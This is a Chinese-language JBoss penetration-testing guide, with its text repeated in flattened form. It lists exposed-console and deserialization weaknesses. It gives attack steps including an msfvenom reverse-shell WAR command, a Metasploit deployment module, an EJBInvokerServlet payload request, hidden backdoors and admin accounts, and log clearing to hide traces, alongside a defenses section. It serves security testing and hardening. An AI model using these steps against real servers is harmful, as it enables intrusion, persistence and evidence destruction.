Jboss渗透合集
字数 1563 2025-08-09 17:09:26

Jboss渗透测试全面指南

一、Jboss概述

JBoss是一个基于J2EE的开源应用服务器,遵循LGPL许可协议,可以在商业应用中免费使用。作为管理EJB的容器和服务器,JBoss支持EJB 1.1、EJB 2.0和EJB 3.0规范。其核心架构特点包括:

  • 微内核设计:通过JMX提供高度模块化结构
  • 热部署能力:支持在不重启服务的情况下部署应用
  • JMX控制台:提供强大的管理功能,也是常见的安全隐患

二、Jboss常见安全漏洞

1. JMX控制台未授权访问

  • 默认路径:/jmx-console/
  • 风险:允许攻击者直接调用MBean方法,执行任意代码

2. Web控制台漏洞

  • 默认路径:/web-console/
  • 风险:可能暴露服务器配置信息,提供管理入口

3. Admin Console弱口令

  • 默认路径:/admin-console/
  • 常见默认凭证:admin/admin

4. EJB远程调用漏洞

  • 通过/invoker/JMXInvokerServlet等接口
  • 风险:可能导致远程代码执行

5. 反序列化漏洞

  • 影响版本:多个历史版本存在Java反序列化漏洞
  • 风险:可导致远程代码执行

三、渗透测试方法

1. 信息收集

nmap -sV -p 8080 <target_ip>  # 识别Jboss服务
dirb http://<target_ip>:8080  # 目录扫描

2. JMX控制台利用

  1. 访问http://<target_ip>:8080/jmx-console/
  2. 查找jboss.deployment
  3. 调用flavor=URL,type=DeploymentScanneraddURL()方法
  4. 部署恶意WAR包

3. Web控制台利用

  1. 访问http://<target_ip>:8080/web-console/
  2. 尝试默认凭证或暴力破解
  3. 通过部署功能上传恶意应用

4. EJBInvokerServlet利用

POST /invoker/EJBInvokerServlet HTTP/1.1
Host: <target_ip>:8080
Content-Type: application/x-java-serialized-object

[恶意序列化数据]

5. WAR包部署

  1. 生成恶意WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<your_ip> LPORT=4444 -f war > shell.war
  1. 通过JMX或Web控制台上传部署

四、防御措施

1. 基本安全配置

  • 删除或重命名jmx-consoleweb-console
  • 修改默认路径:在jboss-web.deployer/server.xml中配置
  • 禁用热部署功能

2. 访问控制

  • 配置jmx-consoleweb-console的访问权限
  • 使用强密码策略
  • 限制管理接口的IP访问

3. 网络层防护

  • 将管理接口与业务接口分离
  • 使用防火墙限制访问端口
  • 启用HTTPS加密通信

4. 补丁与更新

  • 及时更新到最新稳定版本
  • 关注CVE公告,特别是反序列化相关漏洞

五、自动化工具

1. JexBoss

python jexboss.py -host <target_ip>

功能:自动化检测和利用Jboss漏洞

2. Metasploit模块

use exploit/multi/http/jboss_maindeployer
set RHOSTS <target_ip>
set RPORT 8080
exploit

3. Jboss-autopwn

集成多种攻击方式的自动化工具

六、高级渗透技巧

1. 反序列化利用

  • 使用ysoserial生成payload
  • 通过EJBInvokerServlet等接口发送

2. 内存马注入

  • 通过已获取的shell注入内存马
  • 绕过文件部署检测

3. 权限维持

  • 部署隐蔽后门应用
  • 修改现有应用添加恶意功能
  • 创建隐蔽的管理账户

七、日志清理与痕迹清除

  1. 清理部署日志:
$JBOSS_HOME/server/default/log/
  1. 清除访问日志:
$JBOSS_HOME/server/default/deploy/jbossweb.sar/server.xml配置的日志文件
  1. 清理部署的WAR包残留

八、参考案例

案例1:通过JMX控制台获取系统权限

  1. 发现开放的JMX控制台
  2. 调用DeploymentScanner的addURL方法
  3. 部署包含JSP shell的WAR包
  4. 通过webshell获取系统权限

案例2:反序列化漏洞利用

  1. 发现开放的EJBInvokerServlet
  2. 使用ysoserial生成CommonsCollections payload
  3. 发送恶意序列化数据
  4. 获取反向shell

本指南涵盖了Jboss渗透测试的主要方面,实际测试中应根据目标环境灵活调整方法,并确保所有测试都在合法授权范围内进行。

Jboss渗透测试全面指南 一、Jboss概述 JBoss是一个基于J2EE的开源应用服务器,遵循LGPL许可协议,可以在商业应用中免费使用。作为管理EJB的容器和服务器,JBoss支持EJB 1.1、EJB 2.0和EJB 3.0规范。其核心架构特点包括: 微内核设计:通过JMX提供高度模块化结构 热部署能力:支持在不重启服务的情况下部署应用 JMX控制台:提供强大的管理功能,也是常见的安全隐患 二、Jboss常见安全漏洞 1. JMX控制台未授权访问 默认路径: /jmx-console/ 风险:允许攻击者直接调用MBean方法,执行任意代码 2. Web控制台漏洞 默认路径: /web-console/ 风险:可能暴露服务器配置信息,提供管理入口 3. Admin Console弱口令 默认路径: /admin-console/ 常见默认凭证:admin/admin 4. EJB远程调用漏洞 通过 /invoker/JMXInvokerServlet 等接口 风险:可能导致远程代码执行 5. 反序列化漏洞 影响版本:多个历史版本存在Java反序列化漏洞 风险:可导致远程代码执行 三、渗透测试方法 1. 信息收集 2. JMX控制台利用 访问 http://<target_ip>:8080/jmx-console/ 查找 jboss.deployment 域 调用 flavor=URL,type=DeploymentScanner 的 addURL() 方法 部署恶意WAR包 3. Web控制台利用 访问 http://<target_ip>:8080/web-console/ 尝试默认凭证或暴力破解 通过部署功能上传恶意应用 4. EJBInvokerServlet利用 5. WAR包部署 生成恶意WAR: 通过JMX或Web控制台上传部署 四、防御措施 1. 基本安全配置 删除或重命名 jmx-console 和 web-console 修改默认路径:在 jboss-web.deployer/server.xml 中配置 禁用热部署功能 2. 访问控制 配置 jmx-console 和 web-console 的访问权限 使用强密码策略 限制管理接口的IP访问 3. 网络层防护 将管理接口与业务接口分离 使用防火墙限制访问端口 启用HTTPS加密通信 4. 补丁与更新 及时更新到最新稳定版本 关注CVE公告,特别是反序列化相关漏洞 五、自动化工具 1. JexBoss 功能:自动化检测和利用Jboss漏洞 2. Metasploit模块 3. Jboss-autopwn 集成多种攻击方式的自动化工具 六、高级渗透技巧 1. 反序列化利用 使用ysoserial生成payload 通过EJBInvokerServlet等接口发送 2. 内存马注入 通过已获取的shell注入内存马 绕过文件部署检测 3. 权限维持 部署隐蔽后门应用 修改现有应用添加恶意功能 创建隐蔽的管理账户 七、日志清理与痕迹清除 清理部署日志: 清除访问日志: 清理部署的WAR包残留 八、参考案例 案例1:通过JMX控制台获取系统权限 发现开放的JMX控制台 调用DeploymentScanner的addURL方法 部署包含JSP shell的WAR包 通过webshell获取系统权限 案例2:反序列化漏洞利用 发现开放的EJBInvokerServlet 使用ysoserial生成CommonsCollections payload 发送恶意序列化数据 获取反向shell 本指南涵盖了Jboss渗透测试的主要方面,实际测试中应根据目标环境灵活调整方法,并确保所有测试都在合法授权范围内进行。